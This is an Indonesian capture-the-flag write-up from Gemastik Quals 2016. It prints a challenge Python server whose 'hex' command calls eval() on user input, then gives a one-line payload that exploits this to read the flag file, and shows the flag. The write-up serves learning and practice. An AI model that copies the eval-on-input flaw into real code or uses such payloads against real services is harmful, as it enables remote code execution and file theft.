Gemastik Quals 2016

Masalah

Diberikan file server.py dan layanan yang dapat digunakan pada alamat ini.

nc target.netsec.gemastik.ui.ac.id 13338

Isi server.py

#/usr/bin/env python

from Crypto.Hash import MD5, SHA256

import base64
import SocketServer
import threading

msg = "Python Server - Utility Network Service v1.0\n\n"

class DB:

  def getHash(self, string):
    h = SHA256.new()
    h.update(string)
    return h.hexdigest()

  def __init__(self):
    self.userDB = {}
    f = open('database.db', 'r')
    items = f.read().split('\n')
    f.close()
    for item in items:
      token = item.split(':')
      username = token[0]
      password = token[1]
      self.userDB[username] = password
    self.userDB["guest"] = self.getHash("guest")

  def auth(self, username, password):
    if (username in self.userDB and self.getHash(password) == self.userDB[username]):
      return username
    else:
      return None

class incoming(SocketServer.BaseRequestHandler):
  def handle(self):
    req = self.request
    req.sendall(msg)
    req.sendall("Username : ")
    username = req.recv(64)[:-1]
    req.sendall("Password : ")
    password = req.recv(64)[:-1]

    db = DB()

    authUsername = db.auth(username, password)

    if (authUsername):
      req.sendall("\nWelcome, " + username + "!\n")
      req.sendall("Type 'help' to see available options\n\n")

      while True:
        req.sendall("> ")
        cmd = req.recv(8)[:-1]

        if (cmd == "help"):
          req.sendall("Options\n")
          req.sendall("  b64     - encode string to Base 64\n")
          req.sendall("  md5     - calculate MD5 Hash\n")
          req.sendall("  hex     - convert decimal to hex\n")
          req.sendall("  getflag - only for administrator\n")
          req.sendall("  exit    - exit from service\n")
        elif (cmd == "b64"):
          req.sendall("Base64 encoder - Insert string : ")
          string = req.recv(512)[:-1]
          req.sendall(base64.b64encode(string) + "\n")
        elif (cmd == "md5"):
          req.sendall("MD5 Hash Calculaction - Insert string : ")
          string = req.recv(512)[:-1]
          h = MD5.new()
          h.update(string)
          req.sendall(h.hexdigest() + "\n")
        elif (cmd == "hex"):
          try:
            req.sendall("Dec to Hex Converter - Insert number : ")
            number = req.recv(512)[:-1]
            req.sendall(hex(eval(number)) + "\n")
          except:
            req.sendall("Please insert number\n")
        elif (cmd == "getflag"):
          if (authUsername == "admin"):
            flag = open('PythonServer.flag').read()
            req.sendall(flag)
          else:
            req.sendall("You must be an administrator to get the flag\n")
        elif (cmd == "exit"):
          req.sendall("Bye!\n")
          break
        else:
          req.sendall("Unknown command\n");
    else:
      req.sendall("Login Failed\n")

    req.close()

class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer):
  pass

SocketServer.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", 13338), incoming)
server.timeout = 60
server.serve_forever()

Penyelesaian

Pada file server.py terdapat kelemahan pada fungsi eval yang dapat menyebabkan RCE (Remote Code Execution).

Gunakan kode open('PythonServer.flag').read() yang kemudian dikonversi menjadi bilangan agar bisa dibaca oleh perintah hex.

int(eval("open('PythonServer.flag').read()").encode('hex'), 16)

Anda akan mendapatkan flag ini.

GEMASTIK{please_use_Python_pr0p3rly}

results matching ""

    No results matching ""